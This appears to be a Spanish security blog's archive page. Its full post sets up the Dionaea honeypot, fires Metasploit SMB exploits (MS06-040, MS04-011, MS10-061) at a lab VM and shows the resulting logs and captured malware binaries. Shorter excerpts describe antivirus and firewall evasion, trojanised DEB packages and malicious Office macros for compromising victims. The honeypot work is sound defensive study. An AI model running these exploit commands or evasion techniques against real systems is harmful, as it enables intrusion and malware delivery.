Archive

Posts Tagged ‘metasploit payloads’

HoneyPots Parte 3 – Configuración y análisis de malware con Dionaea

abril 14, 2015 Deja un comentario

En el articulo anterior he hablado sobre el funcionamiento e instalación de Dionaea, un honeypot que es capaz de detectar payloads maliciosos y recolectar muestras de malware para su posterior análisis. Para la detección de shellcodes utiliza otra librería de la que ya se ha hablado anteriormente llamada LibEmu, la cual utiliza varias técnicas avanzadas para encontrar patrones maliciosos basadas en heurísticas del tipo GetPC. En este articulo, se continuará con la exploración de las funcionalidades incluidas en Dionaea y las opciones de configuración que se pueden utilizar para modificar el comportamiento del programa según las necesidades particulares del “blue team” o equipo defensor.

En primer lugar, el fichero de configuración del programa se encuentra ubicado en la siguiente ruta (suponiendo que el software se ha instalado en el directorio /opt/dionaea): “/opt/etc/dionaea/dionaea.conf”.

Cuando se trabaja con ficheros de configuración, algo que es de agradecer es que sean fáciles de entender y se encuentren debidamente separados por secciones. Esto es algo que tiene Dionaea y cuando se abre el fichero de configuración por defecto, rápidamente se pueden apreciar las siguientes secciones de configuración: “logging”, “processors”, “downloads”, “submit”, “bistreams”, “listen” y “modules”. A continuación, se explica brevemente para que sirve cada uno de estos bloques de configuración.

“logging”: Es una sección que puede ayudar a ver las trazas que realmente son importantes y que ayudan a detectar un ataque en curso. Configurar adecuadamente esta sección puede ser bastante conveniente, ya que Dionaea es un programa que genera muchísimas trazas de log que en la mayoría de los casos resultan abrumadoras y poco informativas. En esta sección es posible establecer diferentes niveles de trazas, tales como info, debug, warning, error y all. Por defecto, las trazas generadas por Dionaea se almacenan en el directorio “/opt/dionaea/var/log”.

“processors”: Permite definir los servicios que debe arrancar el programa, tales como SSH, MSSqld, FTP, etc. Además, permite definir una serie de detalles de configuración sobre el proceso de emulación de cada uno de dichos servicios, pudiendo establecer detalles como el número de sockets, número máximo de conexiones abiertas y otros detalles que permiten controlar el funcionamiento de LibEmu.

“downloads”: En esta sección se define el directorio en donde se deben guardar las muestras de malware recolectadas por el honeypot.

“bistreams”: En esta sección se define el directorio en donde se guardarán los registros de la interacción entre el atacante y el honeypot, lo que permitirá posteriormente replicar los ataques y depurar.

“submit”: Además guardar las muestras de malware recolectadas por el honeypot en la máquina local, también es posible transferir dichas muestras por http o ftp a un servidor externo. En esta sección se pueden definir los detalles de conexión a dichos servidores externos en el caso de que se quiera enviar el malware a un motor de análisis ubicado en una máquina remota, como por ejemplo, una que tenga Cuckoo en ejecución.

“listen”: Permite definir las interfaces de red que serán utilizadas por el honeypot para arrancar cada uno de los servicios definidos en la sección de “processors”. Existen 3 modos, el automático vincula todas las interfaces de red encontradas en el sistema, el manual permite definir cuales serán las interfaces de red utilizadas y finalmente, el tercer mecanismo permite definir una expresión regular para recuperar todas las interfaces de red que cumplan con el patrón definido.

“modules”: Finalmente, en esta sección se pueden definir detalles de configuración de los módulos que utiliza Dionaea. Algunos de los módulos más interesantes que soporta este honeypot son LibEmu, p0f, curl, nfq, python, fail2ban, entre otros.

Después de explicar las principales secciones de configuración del programa, ahora se procede a utilizar Dionaea y ver cómo funciona cuando un atacante intenta hacerse con el control de un servicio ejecutado en el honeypot.

Arrancando Dionaea y detectando posibles ataques

Una buena practica a la hora de arrancar Dionaea es utilizar un usuario del sistema con privilegios limitados, para ello se utilizan los interruptores “-u” y “-g”.

>./dionaea -L ‘*’ -u adastra -g users

 

Después de levantar Dionaea (en una máquina virtual preferiblemente), lo primero que se puede hacer es ejecutar un escaneo contra dicha máquina para ver qué puertos se encuentran abiertos.

>nmap -sT -n 192.168.1.98

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-15 23:46 CETNmap scan report for 192.168.1.98
Host is up (0.00012s latency).Not shown: 989 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

42/tcp open nameserver

80/tcp open http

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

1433/tcp open ms-sql-s

3306/tcp open mysql

5060/tcp open sip

5061/tcp open sip-tls

 

Como se puede apreciar, aparecen servicios como MSSql, SIP, MySQL y SMB, todos ellos servicios que ha levantado automáticamente Dionaea.

Ahora bien, se puede utilizar metasploit framework para probar el comportamiento de Dionaea cuando un atacante intenta enviar peticiones maliciosas contra alguno de los servicios que se encuentran activos.

SMB es un buen protocolo para probar, ya que existen varios exploits disponibles para atacar este tipo de servicios.

>msfconsolemsf>use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) >set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.168.1.98

RHOST => 192.168.1.98

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

 

Posteriormente, en el fichero de logs de Dionaea se podrán ver varios registros que indican el intento de ataque. Dicho fichero por defecto se encuentra ubicado en “/opt/dionaea/var/log/dionaea.log”.

[15032015 23:52:00] connection connection.c:1745-debug: connection_stats_accounting_limit_exceeded stats 0x2b8d720[15032015 23:52:01] pcap pcap.c:180-debug: 192.168.1.98:4444 -> 192.168.1.98:55386[15032015 23:52:01] pcap pcap.c:190-debug: reject local:’192.168.1.98:4444′ remote:’192.168.1.98:55386′[15032015 23:52:01] incident incident.c:365-debug: reporting 0x2c66a20[15032015 23:52:01] incident incident.c:354-debug: incident 0x2c66a20 dionaea.connection.tcp.reject[15032015 23:52:01] incident incident.c:167-debug: con: (ptr) 0x2c67c20[15032015 23:52:01] python module.c:778-debug: traceable_ihandler_cb incident 0x2c66a20 ctx 0x2a134d0[15032015 23:52:01] logsql dionaea/logsql.py:637-info: reject connection from 192.168.1.98:55386 to 192.168.1.98:4444 (id=1005)

[15032015 23:52:01] connection connection.c:667-debug: connection_free_cb con 0x2c67c20

[15032015 23:52:01] connection connection.c:676-debug: AF 0 0 con->local.domain

 

Además de los logs, también se almacenan los flujos de entrada y salida en el directorio “/opt/dionaea/var/dionaea/bistreams”. Se puede también probar otros exploits que intenten comprometer el servicio SMB como es el caso del conocidio exploit “LSASS”.

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf exploit(ms04_011_lsass) > exploit

[*] Started reverse handler on 192.168.1.98:4444

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Getting OS information…

[*] Trying to exploit Windows 5.1

 

Dionaea es capaz de detectar el ataque y registrarlo en el fichero de logs.

[16032015 00:16:41] connection connection.c:4349-debug: connection_unref con 0x2b8d320[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c001530 dionaea.shellcode.detected[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c001530 ctx 0x2a134d0[16032015 00:16:41] thread threads.c:52-debug: Thread fn 0x41d38d con 0x2b8d320 data 0x2c5a760 took 0.000018 ms[16032015 00:16:41] incident incident.c:212-debug: could not find key ‘con'[16032015 00:16:41] incident incident.c:365-debug: reporting 0x7fd24c0711d0[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c0711d0 dionaea.module.emu.profile[16032015 00:16:41] incident incident.c:167-debug: profile: (string) [

{

“call”: “LoadLibraryA”,

“args” : [

“ws2_32″

],

“return” : “0x71a10000″

}

]

[16032015 00:16:41] incident incident.c:167-debug: con: (ptr) 0x2b8d320

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a0cfc8

[16032015 00:16:41] emu dionaea/emu.py:45-debug: profiling

[16032015 00:16:41] emu dionaea/emu.py:53-info: profiledump [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]

[16032015 00:16:41] connection connection.c:1368-debug: connection_sustain_timeout_set 0x2b8d320 3.000000

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a134d0

[16032015 00:16:41] logsql dionaea/logsql.py:699-info: emu profile for attackid 1009

 

Puede ser muy complicado buscar y encontrar información útil sobre los incidentes reportados por el honeypot en los logs, por este motivo existe una base de datos SQLite que almacena todos los resultados relevantes. Para consultarla basta con ejecutar la utilidad “readlogsqltree”.

>python /opt/dionaea/bin/readlogsqltree /opt/dionaea/var/dionaea/logsql.sqlite

 

Los resultados que enseña la ejecución anterior son mucho más condensados y fáciles de leer, ya que identifica únicamente aquellos registros que Dionaea ha detectado como incidentes o intentos de ataque.

dcerpc request: uuid ‘3919286a-b10c-11d0-9ba8-00c04fd92ef5′ (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))profile: [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]2015-03-16 00:28:17connection 1010 SipSession udp connect 192.168.1.98:5060 -> /192.168.1.98:47685 (1010 None)Method:OPTIONSCall-ID:78617845@192.168.1.98User-Agent:LJtDLdXwaddr: <> ‘sip:nobody@192.168.1.98:None’

to: <> ‘sip:nobody@192.168.1.98:None’

contact: <> ‘sip:nobody@192.168.1.98:None’

from: <> ‘sip:LJtDLdXw@192.168.1.98:5060′

via:’UDP/192.168.1.98:5060′

 

Por otro lado, cuando un exploit transfiere algún tipo de fichero a la máquina atacada, el honeypot captura y almacena dicho fichero en el directorio que se ha definido en la sección de configuración “downloads”. Dichos ficheros pueden ser utilizados posteriormente para ser analizados con Cuckoo o con cualquier otra herramienta de análisis de malware.

msfcli exploit/windows/smb/ms10_061_spoolss PNAME=XPSPrinter RHOST=192.168.1.98 EXITFUNC=process LHOST=192.168.1.98 LPORT=4444 E
[*] Initializing modules…PNAME => XPSPrinter
RHOST => 192.168.1.98
EXITFUNC => process
LHOST => 192.168.1.98

LPORT => 4444

[*] Started reverse handler on 192.168.1.98:4444

[*] Trying target Windows Universal…

[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Attempting to exploit MS10-061 via \\192.168.1.98\XPSPrinter …

[*] Printer handle: 0000000000000000000000000000000000000000

[*] Job started: 0x3

[*] Wrote 73802 bytes to %SystemRoot%\system32\jv3zNgf80OaKcs.exe

[*] Job started: 0x3

[*] Wrote 2237 bytes to %SystemRoot%\system32\wbem\mof\tOpOFGImh6sT6j.mof

[-] Exploit failed: NoMethodError undefined method `unpack’ for nil:NilClass

 

En este caso concreto, al utilizar el exploit SMB Spoolss, se transfiere un fichero malicioso al servicio atacado y Dionaea lo almacena en el directorio “/opt/dionaea/var/dionaea/binaries”

 

>ls -l var/dionaea/binaries/
total 152
-rw——- 2 adastra adastra 73802 mar 16 00:45 c9a0a0ccbd330b43d5196cd69b80159d-rw——- 2 adastra adastra 73802 mar 16 00:45 spoolss-d1fgrg.tmp
>file var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d

var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d: PE32 executable (GUI) Intel 80386, for MS Windows


>file var/dionaea/binaries/spoolss-d1fgrg.tmp

var/dionaea/binaries/spoolss-d1fgrg.tmp: PE32 executable (GUI) Intel 80386, for MS Windows

El programa descargado es un ejecutable PE para sistemas Windows, capturado y almacenado por Dionaea.

Saludos y Happy Hack!
Adastra.

Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Anti-Virus con Metasploit Framework usando VBSMEM – Parte VI

febrero 22, 2012 10 comentarios

VBSMEM es un encoder incluido en las versiones de MetaSploit FrameWork  superiores a la 3.8, nace de la necesidad de una solución al problema que se enfrentar los pentesters a la hora de generar payloads con msfpayload, codificarlos múltiples veces con msfencode para que al final, sean detectados por el AV en la maquina objetivo y no sea posible obtener una sesión meterpreter, lo que desde luego, es bastante frustrante. Se basa en la idea de que, los payloads con VBScript no son detectados por los AV actuales, esto ocurre, porque se ejecutan en memoria y no realizan ningún tipo de operación de escritura en disco, evidentemente el AV confiá en el contenido de una macro que se ejecute dentro de un programa de Microsoft Office (por ejemplo), esto se ha detallado hace unas cuantas entradas, para revisar dicha entrada ver aquí http://thehackerway.com/2012/02/13/intentando-evadir-anti-virus-usando-metasploit-framework-y-visual-basic-contra-plataformas-windows-parte-ii/ tomando este enfoque, se ha implementado el encoder VBSMEM, el cual escribe un shellcode en un fichero VBScript el cual utiliza una librería llamada Dynawrap.dll la cual ejecuta llamadas nativas del sistema operativo en concreto las funciones:

1. VirtualAlloc: Separar un espacio en memoria para la ejecución del shellcode.

2. WriteProcessMemory: Copiar el shellcode en el segmento de memoria separado.

3. CreateThread: Ejecutar el shellcode cargado en memoria.

Por lo demás, para el funcionamiento de este encoder, se utilizan las mismas técnicas de ofuscación para VBScript para ocultar el Shellcode actual de un software AV en la máquina objetivo, la ventaja de esto es que se crea un fichero ejecutable (.vbs) con las mismas características de ofuscación de un fichero en ms office con una macro maliciosa, por lo tanto no es detectable (al menos a día de hoy) por ningún AV del mercado. Los pasos a seguir para conseguir esto son los siguientes:

Leer más…

Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Firewalls usando MetaSploit Framework – Parte V

febrero 20, 2012 6 comentarios

Existen diferentes técnicas para el establecimiento de una conexión entre dos máquinas que se encuentran separadas y condicionadas por un firewall que evita que determinados puertos, protocolos y/o hosts puedan establecer conexiones, aunque se trata de un mecanismo bastante eficiente, en muchas ocasiones estas reglas no restringen absolutamente todo por diferentes razones, como por ejemplo, la necesidad de tener determinados puertos abiertos para realizar conexiones a un servicio externo, entre otras cosas. Esta situación es bastante frecuente en algunas organizaciones, donde alguna de las aplicaciones internas necesita acceso a un servicio externo y para este fin se debe dejar abierto uno o varios puertos. En este escenario se puede realizar un ataque de “fuerza bruta” en busca de una conexión pasando por el firewall, para este fin se utilizan los payload windows/*/reverse_tcp_allports que intentan capturar alguno de estos puertos abiertos e iniciar la transferencia del stage.

Leer más…

Intentando evadir mecanismos y restricciones de Seguridad – Ataques contra plataformas Linux creando ficheros DEB maliciosos – Parte III

febrero 15, 2012 Deja un comentario

En entradas anteriores sobre Payloads en MetasSploit, se ha hecho énfasis especial sobre Payloads contra plataformas Windows y como estos conseguían burlar la seguridad de la víctima. En esta ocasión se intentará indicar el procedimiento que frecuentemente se lleva a cabo para conseguir estos mismos resultados sobre plataformas GNU/Linux, en este caso particular sobre distribuciones Debian/Ubuntu por medio de envenenamiento de paquetes de instalación (*.DEB)

El procedimiento es muy sencillo, a continuación se listan los pasos que se deben de llevar a cabo para conseguir una consola remota usando un DEB infectado.

Leer más…

Intentando evadir mecanismos y restricciones de Seguridad – Evadir Anti-Virus usando MetaSploit Framework y Visual Basic contra plataformas Windows – Parte II

febrero 13, 2012 2 comentarios

En la anterior entrada, se ha indicado la forma de realizar un “bypass” utilizando MetaSploit Framework y una plantilla simple escrita en lenguaje C, en esta ocasión, se intentará explicar la forma de “infectar” un documento de MicroSoft Office (word, excel, etc.) por medio de una macro maliciosa generada por metasploit framework, la virtud de tipo de ataques es que no son detectables por un AV, ya que los AV normalmente suelen confiar en el contenido que se ejecuta dentro de los procesos de programas instalados y frecuentemente utilizados, (como en este caso un programa ofimatico) lo que le permite a un atacante enviar un documento malicioso a un usuario con el fin de comprometer su máquina, no obstante, existen mecanismos de seguridad en Office que no permite la ejecución de Macros, pero si el documento es generado directamente por el atacante y enviado a la víctima, evidentemente el nivel de seguridad que intentará establecer para el documento será bajo de tal forma que cuando el objetivo del ataque abra el documento, no encontrará nada sospechoso en él.

Leer más…

Intentando evadir mecanismos y restricciones de Seguridad – Evadir Anti-Virus usando custom encoders, Lenguaje C y Metasploit Framework – Parte I

febrero 10, 2012 6 comentarios

Esta es la primera de una serie de entradas que intentarán indicar las técnicas de hacking que frecuentemente se utilizan con el fin de comprometer una maquina remota que implementa mecanismos de seguridad y restricciones que dificultan las labores de penetración de un pentester o un hacker, en esta serie de entradas se indicará como es posible evadir dichas restricciones (restricciones de AV, IDS o Firewalls).

En muchos casos nos encontramos con la necesidad de distribuir un backdoor o cualquier tipo de troyano en una maquina objetivo con el fin de tener acceso a los recursos de dicha máquina para ejecutar alguna clase de tarea, sin embargo, estos son fácilmente detectados por antivirus como NOD32, AVG, Norton, etc. Esto ocurre debido a su gran cantidad de registros e información relacionada con virus, troyanos, puertas traseras, etc. Ademas de los mecanismos que incorporan para detectar de forma efectiva algún tipo de amenaza que pueda representar un riesgo para el sistema. Un antivirus frecuentemente verifica si un fichero representa un riego o no por medio de determinadas firmas o “signatures” que tiene un programa ejecutable, estas firmas corresponden a una serie de patrones de comportamiento que tiene el programa, estos patrones son obtenidos por un antivirus por medio de un proceso de desensamblaje que convierte el código ejecutable en código en ensamblador, si dentro de este código, existe al menos una de las firmas registradas en el antivirus, este programa es marcado como no fiable, ya que probablemente se trate de un troyano o algún otro tipo de amenaza.

Leer más…

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.402 seguidores

A %d blogueros les gusta esto: